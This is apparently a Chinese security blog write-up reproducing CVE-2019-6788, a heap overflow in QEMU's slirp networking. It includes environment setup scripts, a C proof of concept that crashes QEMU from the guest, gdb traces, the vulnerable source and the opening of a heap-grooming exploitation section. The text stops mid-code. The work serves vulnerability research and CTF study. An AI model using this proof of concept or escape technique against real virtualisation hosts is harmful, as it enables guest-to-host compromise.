CVE-2019-6788 Qemu逃逸漏洞复现与分析

CVE-2019-6788 Qemu逃逸漏洞复现与分析

前言

CVE-2019-6788是一个QEMU的堆溢出漏洞,本篇文章基于raycp师傅的分析复现,中间补充一些细节方便自己理解。

环境搭建

手里有GEEKPWN2020决赛的一道qemu的题目,那道题是改的这个CVE,因此我直接拿过来用了,不过对比了一下它和raycp师傅的脚本,发现没什么区别,估计也是出题人直接拿来用的。

下面是创建文件系统的脚本,需要提前装debootstrap,我没挂代理然后挂了一宿才下完2333.当前目录下的ssh/id_rsa为ssh的私钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mkdir qemu

sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch qemu


set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' qemu/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a qemu/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a qemu/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a qemu/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a qemu/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a qemu/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a qemu/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a qemu/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee qemu/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a qemu/etc/resolve.conf
echo "ubuntu" | sudo tee qemu/etc/hostname
sudo mkdir -p qemu/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee qemu/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=qemu.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F qemu.img
sudo mkdir -p /mnt/qemu
sudo mount -o loop qemu.img /mnt/qemu
sudo cp -a qemu/. /mnt/qemu/.
sudo umount /mnt/qemu

启动脚本如下:其中hostfwd做了端口转发,因此我们传输文件可以使用scp -i ./ssh/id_rsa -P2222 ./1 root@localhost:/。内核文件随便找一个就可以。

1
2
3
4
5
6
7
8
#!/bin/bash

sudo ./qemu-system-x86_64 \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./qemu.img \
-enable-kvm -m 2G -nographic \
-net user,hostfwd=tcp::2222-:22 -net nic

在github下载qemu的源码,切换到漏洞版本,编译即可。这里直接搬运raycp师傅的命令。如果觉得慢,可以拿hub.fastgit.org替换github.com然后走https clone。下面的configure开启了调试,因而最后的bin文件包含符号表。

1
2
3
4
5
6
7
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v3.1.0
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make -j8

本漏洞复现于ubuntu 18.04,gcc的版本如下。

1
2
3
4
5
6
7
8
9
10
wz@wz-virtual-machine:~/Desktop/CTF/CVE-2019-6788/start_qemu$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none
OFFLOAD_TARGET_DEFAULT=1
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Ubuntu 7.5.0-3ubuntu1~18.04' --with-bugurl=file:///usr/share/doc/gcc-7/README.Bugs --enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++ --prefix=/usr --with-gcc-major-version-only --program-suffix=-7 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --enable-default-pie --with-system-zlib --with-target-system-zlib --enable-objc-gc=auto --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
Thread model: posix
gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)

启动之后宿主机的ip为10.0.2.2,虚拟机ip为10.0.2.15,由于是持久化的磁盘文件,因此可以使用apt install net-tools安装net-tools来使用ifconfig命令。

漏洞分析

为了确定编译和环境没有问题,我们先打一发poc,poc代码如下,从虚拟机中连接宿主机的113端口,需要先在宿主机中用sudo nc -lvknp 113监听113端口,这里-k参数可以保证端口持续监听,这样就不用每次手动重新启动nc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
memset(buf, 'A', 0x500);
while (1) {
write(s, buf, 0x500);
}
return 0;
}

编译之后scp传到虚拟机中,执行后qemu崩溃,poc攻击成功。

根据wp将断点断到tcp_emu函数,一直continue直到崩溃产生,打印一下调用栈,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
gdb-peda$ bt
#0 0x000056278dee26be in tcp_emu (so=0x7f57c4012800, m=0x7f57c4023c80) at /home/wz/qemu/slirp/tcp_subr.c:641
#1 0x000056278dedea5c in tcp_input (m=0x7f57c4023c80, iphlen=0x14, inso=0x0, af=0x2) at /home/wz/qemu/slirp/tcp_input.c:571
#2 0x000056278ded5767 in ip_input (m=0x7f57c4023c80)
at /home/wz/qemu/slirp/ip_input.c:206
#3 0x000056278ded8cb8 in slirp_input (slirp=0x56279009d400, pkt=0x5627910329b0 "RU\n", pkt_len=0x536)
at /home/wz/qemu/slirp/slirp.c:876
#4 0x000056278dec0eec in net_slirp_receive (nc=0x56279009d1d0, buf=0x5627910329b0 "RU\n", size=0x536)
at /home/wz/qemu/net/slirp.c:113
#5 0x000056278deb68c6 in nc_sendv_compat (nc=0x56279009d1d0, iov=0x7f57cce95bd0, iovcnt=0x1, flags=0x0)
at /home/wz/qemu/net/net.c:706
#6 0x000056278deb6988 in qemu_deliver_packet_iov (sender=0x56279009cb90, flags=0x0, iov=0x7f57cce95bd0, iovcnt=0x1, opaque=0x5627900
9d1d0) at /home/wz/qemu/net/net.c:734
#7 0x000056278deb9541 in qemu_net_queue_deliver_iov (queue=0x56279009d3c0, sender=0x56279009cb90, flags=0x0, iov=0x7f57cce95bd0, iov
cnt=0x1) at /home/wz/qemu/net/queue.c:179
#8 0x000056278deb96b0 in qemu_net_queue_send_iov (queue=0x56279009d3c0, sender=0x56279009cb90, flags=0x0, iov=0x7f57cce95bd0, iovcnt
=0x1, sent_cb=0x0) at /home/wz/qemu/net/queue.c:224
#9 0x000056278deb6acd in qemu_sendv_packet_async (sender=0x56279009cb90, iov=0x7f57cce95bd0, iovcnt=0x1, sent_cb=0x0)
at /home/wz/qemu/net/net.c:775
#10 0x000056278deb6afa in qemu_sendv_packet (nc=0x56279009cb90, iov=0x7f57cce95bd0, iovcnt=0x1) at /home/wz/qemu/net/net.c:783
#11 0x000056278deba0d1 in net_hub_receive_iov (hub=0x56279009c9c0, source_port=0x56279009cf70, iov=0x7f57cce95bd0, iovcnt=0x1)
at /home/wz/qemu/net/hub.c:74
#12 0x000056278deba2cb in net_hub_port_receive_iov (nc=0x56279009cf70, iov=0x7f57cce95bd0, iovcnt=0x1)
at /home/wz/qemu/net/hub.c:125
#13 0x000056278deb696d in qemu_deliver_packet_iov (sender=0x5627910449a0, flags=0x0, iov=0x7f57cce95bd0, iovcnt=0x1, opaque=0x5627900
9cf70) at /home/wz/qemu/net/net.c:732
#14 0x000056278deb94c5 in qemu_net_queue_deliver (queue=0x56279009d110, sender=0x5627910449a0, flags=0x0, data=0x5627910329b0 "RU\n", size=0x536) at /home/wz/qemu/net/queue.c:164
#15 0x000056278deb95e1 in qemu_net_queue_send (queue=0x56279009d110, sender=0x5627910449a0, flags=0x0, data=0x5627910329b0 "RU\n", si
ze=0x536, sent_cb=0x0) at /home/wz/qemu/net/queue.c:199
#16 0x000056278deb672d in qemu_send_packet_async_with_flags (sender=0x5627910449a0, flags=0x0, buf=0x5627910329b0 "RU\n", size=0x536,
sent_cb=0x0) at /home/wz/qemu/net/net.c:660
#17 0x000056278deb6765 in qemu_send_packet_async (sender=0x5627910449a0, buf=0x5627910329b0 "RU\n", size=0x536, sent_cb=0x0)
at /home/wz/qemu/net/net.c:667
#18 0x000056278deb6792 in qemu_send_packet (nc=0x5627910449a0, buf=0x5627910329b0 "RU\n", size=0x536)
at /home/wz/qemu/net/net.c:673
#19 0x000056278dd9989e in e1000_send_packet (s=0x56279100fd00, buf=0x5627910329b0 "RU\n", size=0x536)
at /home/wz/qemu/hw/net/e1000.c:538
#20 0x000056278dd99d0a in xmit_seg (s=0x56279100fd00)
at /home/wz/qemu/hw/net/e1000.c:601
#21 0x000056278dd9a23a in process_tx_desc (s=0x56279100fd00, dp=0x7f57cce95e10) at /home/wz/qemu/hw/net/e1000.c:688
#22 0x000056278dd9a432 in start_xmit (s=0x56279100fd00)
at /home/wz/qemu/hw/net/e1000.c:743
#23 0x000056278dd9b4c8 in set_tctl (s=0x56279100fd00, index=0xe06, val=0x22) at /home/wz/qemu/hw/net/e1000.c:1111
#24 0x000056278dd9b645 in e1000_mmio_write (opaque=0x56279100fd00, addr=0x3818, val=0x22, size=0x4)
at /home/wz/qemu/hw/net/e1000.c:1287
#25 0x000056278dad1991 in memory_region_write_accessor (mr=0x562791012600, addr=0x3818, value=0x7f57cce95f78, size=0x4, shift=0x0, ma
sk=0xffffffff, attrs=...) at /home/wz/qemu/memory.c:504
#26 0x000056278dad1ba1 in access_with_adjusted_size (addr=0x3818, value=0x7f57cce95f78, size=0x4, access_size_min=0x4, access_size_ma
x=0x4, access_fn=
0x56278dad18a8 <memory_region_write_accessor>, mr=0x562791012600, attrs=...) at /home/wz/qemu/memory.c:570
#27 0x000056278dad489c in memory_region_dispatch_write (mr=0x562791012600, addr=0x3818, data=0x22, size=0x4, attrs=...)
at /home/wz/qemu/memory.c:1452
#28 0x000056278da6f896 in flatview_write_continue (fv=0x7f57c47e7c00, addr=0xfebc3818, attrs=..., buf=0x7f57ea23d028 "\"", len=0x4, a
ddr1=0x3818, l=0x4, mr=0x562791012600)
at /home/wz/qemu/exec.c:3233
#29 0x000056278da6f9e0 in flatview_write (fv=0x7f57c47e7c00, addr=0xfebc3818, attrs=..., buf=0x7f57ea23d028 "\"", len=0x4)
at /home/wz/qemu/exec.c:3272
#30 0x000056278da6fce6 in address_space_write (as=0x56278ea29de0 <address_space_memory>, addr=0xfebc3818, attrs=..., buf=0x7f57ea23d0
28 "\"", len=0x4) at /home/wz/qemu/exec.c:3362
#31 0x000056278da6fd37 in address_space_rw (as=0x56278ea29de0 <address_space_memory>, addr=0xfebc3818, attrs=..., buf=0x7f57ea23d028
"\"", len=0x4, is_write=0x1) at /home/wz/qemu/exec.c:3373
#32 0x000056278daf0c86 in kvm_cpu_exec (cpu=0x5627900b3990)
at /home/wz/qemu/accel/kvm/kvm-all.c:2031
#33 0x000056278dab6a78 in qemu_kvm_cpu_thread_fn (arg=0x5627900b3990) at /home/wz/qemu/cpus.c:1281
#34 0x000056278e06a004 in qemu_thread_start (args=0x5627900d6710)
at /home/wz/qemu/util/qemu-thread-posix.c:498
#35 0x00007f57e46c16db in start_thread (arg=0x7f57cce99700)
at pthread_create.c:463
#36 0x00007f57e43ea71f in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
gdb-peda$

查看位于slirp/tcp_subr.c的函数实现,so_rcv的类型为struct sbuf *,它存储的是tcp协议的数据,m的类型为struct mbuf *,它存储的是ip协议的数据,这里的memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);将网络层的数据保存到了传输层中。这两个数据结构的定义如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct sbuf {
uint32_t sb_cc; /* actual chars in buffer */
uint32_t sb_datalen; /* Length of data */
char *sb_wptr; /* write pointer. points to where the next
* bytes should be written in the sbuf */
char *sb_rptr; /* read pointer. points to where the next
* byte should be read from the sbuf */
char *sb_data; /* Actual data */
};
//
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;

caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */

Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

当传输的数据中包含有\r|\n时,会对so_rcv->sb_cc赋值,否则保持其默认值0,我们发送的payload中不包含有\r\n,因此sb_cc不会被赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int
tcp_emu(struct socket *so, struct mbuf *m)
{
Slirp *slirp = so->slirp;
u_int n1, n2, n3, n4, n5, n6;
char buff[257];
uint32_t laddr;
u_int lport;
char *bptr;

DEBUG_CALL("tcp_emu");
DEBUG_ARG("so = %p", so);
DEBUG_ARG("m = %p", m);

switch(so->so_emu) {
int x, i;

case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;

memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
(struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data,so_rcv->sb_datalen,"%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}
//...
}
}

我们继续往下看其调用函数tcp_input,位于slirp/tcp_input.c中。ti为struct tcpiphdr类型的变量,其定义如下。ti_len表示协议长度,由于拷贝之后sb_cc还是为0,因此会使用sbappend(so, m)->sbappendsb进行追加拷贝,从而造成堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
void
/*
* Tcp+ip header, after ip options removed.
*/
struct tcpiphdr {
struct mbuf_ptr ih_mbuf; /* backpointer to mbuf */
union {
struct {
struct in_addr ih_src; /* source internet address */
struct in_addr ih_dst; /* destination internet address */
uint8_t ih_x1; /* (unused) */
uint8_t ih_pr; /* protocol */
} ti_i4;
struct {
struct in6_addr ih_src;
struct in6_addr ih_dst;
uint8_t ih_x1;
uint8_t ih_nh;
} ti_i6;
} ti;
uint16_t ti_x0;
uint16_t ti_len; /* protocol length */
struct tcphdr ti_t; /* tcp header */
};
tcp_input(struct mbuf *m, int iphlen, struct socket *inso, unsigned short af)
{ //...
else if (ti->ti_ack == tp->snd_una &&
tcpfrag_list_empty(tp) &&
ti->ti_len <= sbspace(&so->so_rcv)) {
/*
* this is a pure, in-sequence data packet
* with nothing on the reassembly queue and
* we have enough buffer space to take it.
*/
tp->rcv_nxt += ti->ti_len;
/*
* Add data to socket buffer.
*/
if (so->so_emu) {
if (tcp_emu(so,m)) sbappend(so, m);
} else
sbappend(so, m);

/*
* If this is a short packet, then ACK now - with Nagel
* congestion avoidance sender won't send more until
* he gets an ACK.
*
* It is better to not delay acks at all to maximize
* TCP throughput. See RFC 2581.
*/
tp->t_flags |= TF_ACKNOW;
tcp_output(tp);
return;
}
//...
}
//
/*
* Try and write() to the socket, whatever doesn't get written
* append to the buffer... for a host with a fast net connection,
* this prevents an unnecessary copy of the data
* (the socket is non-blocking, so we won't hang)
*/
void
sbappend(struct socket *so, struct mbuf *m)
{
int ret = 0;

DEBUG_CALL("sbappend");
DEBUG_ARG("so = %p", so);
DEBUG_ARG("m = %p", m);
DEBUG_ARG("m->m_len = %d", m->m_len);

/* Shouldn't happen, but... e.g. foreign host closes connection */
if (m->m_len <= 0) {
m_free(m);
return;
}

/*
* If there is urgent data, call sosendoob
* if not all was sent, sowrite will take care of the rest
* (The rest of this function is just an optimisation)
*/
if (so->so_urgc) {
sbappendsb(&so->so_rcv, m);
m_free(m);
(void)sosendoob(so);
return;
}

/*
* We only write if there's nothing in the buffer,
* ottherwise it'll arrive out of order, and hence corrupt
*/
if (!so->so_rcv.sb_cc)
ret = slirp_send(so, m->m_data, m->m_len, 0);

if (ret <= 0) {
/*
* Nothing was written
* It's possible that the socket has closed, but
* we don't need to check because if it has closed,
* it will be detected in the normal way by soread()
*/
sbappendsb(&so->so_rcv, m);
} else if (ret != m->m_len) {
/*
* Something was written, but not everything..
* sbappendsb the rest
*/
m->m_len -= ret;
m->m_data += ret;
sbappendsb(&so->so_rcv, m);//这里
} /* else */
/* Whatever happened, we free the mbuf */
m_free(m);
}
//...
/*
* Copy the data from m into sb
* The caller is responsible to make sure there's enough room
*/
static void
sbappendsb(struct sbuf *sb, struct mbuf *m)
{
int len, n, nn;

len = m->m_len;

if (sb->sb_wptr < sb->sb_rptr) {
n = sb->sb_rptr - sb->sb_wptr;
if (n > len) n = len;
memcpy(sb->sb_wptr, m->m_data, n);
} else {
/* Do the right edge first */
n = sb->sb_data + sb->sb_datalen - sb->sb_wptr;
if (n > len) n = len;
memcpy(sb->sb_wptr, m->m_data, n);//这里追加拷贝
len -= n;
if (len) {
/* Now the left edge */
nn = sb->sb_rptr - sb->sb_data;
if (nn > len) nn = len;
memcpy(sb->sb_data,m->m_data+n,nn);
n += nn;
}
}

sb->sb_cc += n;
sb->sb_wptr += n;
if (sb->sb_wptr >= sb->sb_data + sb->sb_datalen)
sb->sb_wptr -= sb->sb_datalen;
}

我们动态调试一下,验证自己的猜想,断点断到比较和memcpy处.

1
2
3
directory /home/wz/qemu/slirp/tcp_input.c
b /home/wz/qemu/slirp/tcp_subr.c:638
b /home/wz/qemu/slirp/tcp_input.c:558

可以看到ti_len一直为我们输入的长度0x500,sb_datalen为0x2238的固定值,因为sb_cc为0,因此这里的比较恒成立,故而持续拷贝造成堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
gdb-peda$ p *ti
$2 = {
ih_mbuf = {
mptr = 0x0
},
ti = {
ti_i4 = {
ih_src = {
s_addr = 0xf02000a
},
ih_dst = {
s_addr = 0x202000a
},
ih_x1 = 0x0,
ih_pr = 0x6
},
ti_i6 = {
ih_src = {
__in6_u = {
__u6_addr8 = "\n\000\002\017\n\000\002\002\000\006\000\000\000\000\000",
__u6_addr16 = {0xa, 0xf02, 0xa, 0x202, 0x600, 0x0, 0x0, 0x0},
__u6_addr32 = {0xf02000a, 0x202000a, 0x600, 0x0}
}
},
ih_dst = {
__in6_u = {
__u6_addr8 = '\000' <repeats 15 times>,
__u6_addr16 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
__u6_addr32 = {0x0, 0x0, 0x0, 0x0}
}
},
ih_x1 = 0x0,
ih_nh = 0x0
}
},
ti_x0 = 0x0,
ti_len = 0x500,//输入长度
ti_t = {
th_sport = 0x2e4,
th_dport = 0x7100,
th_seq = 0x4cc0331,
th_ack = 0x271002,
th_x2 = 0x0,
th_off = 0x5,
th_flags = 0x18,
th_win = 0x7210,
th_sum = 0xef00,
th_urp = 0x0
}
}
[----------------------------------registers-----------------------------------]
RAX: 0x2238 ('8"')
RBX: 0x7f3f7821fcf0 (0x00007f3f7821fcf0)
RCX: 0x2238 ('8"')
RDX: 0x500
RSI: 0x7f3f877fa770 --> 0x202000a71000002
RDI: 0x7f3f78214e38 --> 0x202000a71000002
RBP: 0x7f3f877fa830 --> 0x7f3f877fa880 --> 0x7f3f877fa8c0 --> 0x7f3f877fa910 --> 0x7f3f877fa960 --> 0x7f3f877fa9a0 (--> ...)
RSP: 0x7f3f877fa5f0 --> 0x7f3f877fa630 --> 0x544877fa6a0
RIP: 0x55ea3f7d0a12 (<tcp_input+3115>: cmp edx,eax)
R8 : 0x14
R9 : 0x7f3f7820d680 --> 0x600
R10: 0x7f3f877fabe0 --> 0x0
R11: 0x7f3f7820db94 ('A' <repeats 32 times>)
R12: 0x7f3f7820d670 --> 0x0
R13: 0x18
R14: 0x55ea40ff9710 --> 0x55ea40ff9500 --> 0x0
R15: 0x7ffe46247360 --> 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55ea3f7d0a08 <tcp_input+3105>: mov eax,DWORD PTR [rax+0x158]
0x55ea3f7d0a0e <tcp_input+3111>: sub ecx,eax
0x55ea3f7d0a10 <tcp_input+3113>: mov eax,ecx
=> 0x55ea3f7d0a12 <tcp_input+3115>: cmp edx,eax
0x55ea3f7d0a14 <tcp_input+3117>: ja 0x55ea3f7d0aac <tcp_input+3269>
0x55ea3f7d0a1a <tcp_input+3123>: mov edx,DWORD PTR [rbx+0x98]
0x55ea3f7d0a20 <tcp_input+3129>: movzx eax,WORD PTR [r12+0x2e]
0x55ea3f7d0a26 <tcp_input+3135>: movzx eax,ax
[------------------------------------stack-------------------------------------]

断点第二次断到了拷贝函数,拷贝之后我们可以看到sb_wptr已经存放了输入数据,而sb_cc仍为0,而比较函数仍可以通过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ p *so_rcv
$8 = {
sb_cc = 0x0,
sb_datalen = 0x2238,
sb_wptr = 0x7f3f78205400 "d",
sb_rptr = 0x7f3f78204f00 'A' <repeats 200 times>...,
sb_data = 0x7f3f78204f00 'A' <repeats 200 times>...
}
gdb-peda$ p *m
$9 = {
m_next = 0x7f3f78208a70,
m_prev = 0x55ea40fc04a8,
m_nextpkt = 0x0,
m_prevpkt = 0x0,
m_flags = 0x4,
m_size = 0x608,
m_so = 0x7f3f78214e00,
m_data = 0x7f3f7820d6b4 'A' <repeats 200 times>...,
m_len = 0x500,
slirp = 0x55ea40fc0400,
resolution_requested = 0x0,
expiration_date = 0xffffffffffffffff,
m_ext = 0x0,
m_dat = 0x7f3f7820d660 ""
}
gdb-peda$

再过一次拷贝,sb_wptr继续递增,直到超出分配的0x2238的空间,最终覆盖某些关键数据结构造成crash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ p* so_rcv
$14 = {
sb_cc = 0x0,
sb_datalen = 0x2238,
sb_wptr = 0x7f3f78205900 "\264",
sb_rptr = 0x7f3f78205900 "\264",
sb_data = 0x7f3f78204f00 'A' <repeats 200 times>...
}
gdb-peda$ p* m
$15 = {
m_next = 0x7f3f78213600,
m_prev = 0x55ea40fc04a8,
m_nextpkt = 0x0,
m_prevpkt = 0x0,
m_flags = 0x4,
m_size = 0x608,
m_so = 0x7f3f7850c000,
m_data = 0x7f3f78208b24 'A' <repeats 200 times>...,
m_len = 0x500,
slirp = 0x55ea40fc0400,
resolution_requested = 0x0,
expiration_date = 0xffffffffffffffff,
m_ext = 0x0,
m_dat = 0x7f3f78208ad0 ""
}
gdb-peda$ x/8gx 0x7f3f78204f00-0x10
0x7f3f78204ef0: 0x0000000000000000 0x0000000000002245
0x7f3f78204f00: 0x4141414141414141 0x4141414141414141
0x7f3f78204f10: 0x4141414141414141 0x4141414141414141
0x7f3f78204f20: 0x4141414141414141 0x414141414141414

漏洞利用

这里的exp是分析的raycp师傅的,因为编译环境和运行环境不太一样,中间调整了一些变量的值。

malloc原语

qemu的堆排布非常复杂,我们想要控制堆,就需要先将空闲的堆块分配完,之后从top_chunk开始分配,方可通过可控的堆溢出覆写某些数据结构。首先让我们重温一下IP协议。

如下图所示是一个IP数据包的示意图,linux下的数据结构对应图里的各个字段。

重点关注Flags字段和Fragment Offset字段。

  1. Zero:Unused,置为0
  2. Do not fragment flag:表示数据包是否为分片数据包,当置为1时,表示未分片,简写为DF位
  3. More fragments following flag:表示后续还有没无分包,有的话置为1,简写为MF位
  4. Fragment Offset:当前数据包在整个大数据包中的偏移offset。

IP包的total_length用2字节表示,因此一个IP数据包最大为65535字节,一旦要发送大量数据时我们需要对数据包进行分段传输,我们看下qemu对于这部分功能的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* Structure of an internet header, naked of options.
*
* We declare ip_len and ip_off to be short, rather than u_short
* pragmatically since otherwise unsigned comparisons can result
* against negative integers quite easily, and fail in subtle ways.
*/
struct ip {
#if BYTE_ORDER == LITTLE_ENDIAN
u_char ip_hl:4, /* header length */
ip_v:4; /* version */
#endif
#if BYTE_ORDER == BIG_ENDIAN
u_char ip_v:4, /* version */
ip_hl:4; /* header length */
#endif
u_char ip_tos; /* type of service */
short ip_len; /* total length */
u_short ip_id; /* identification */
short ip_off; /* fragment offset field */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};

该函数位于slirp/ip_input.c中,每次遇到一个分片的数据包时(IP_DF=0),分配一个mbuf指针类型的链表用以存放分包,这里的g_malloc经过调试分配的大小为0x668

因此我们构造DF=0的IP协议包,多次发送清空空闲内存。(这里的链表指针只有当接收到最后一个数据包后才会在m_cat函数中拼接所有数据包并释放链表)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void
ip_input(struct mbuf *m)
{
//...
/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
if (ip->ip_off &~ IP_DF) {
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
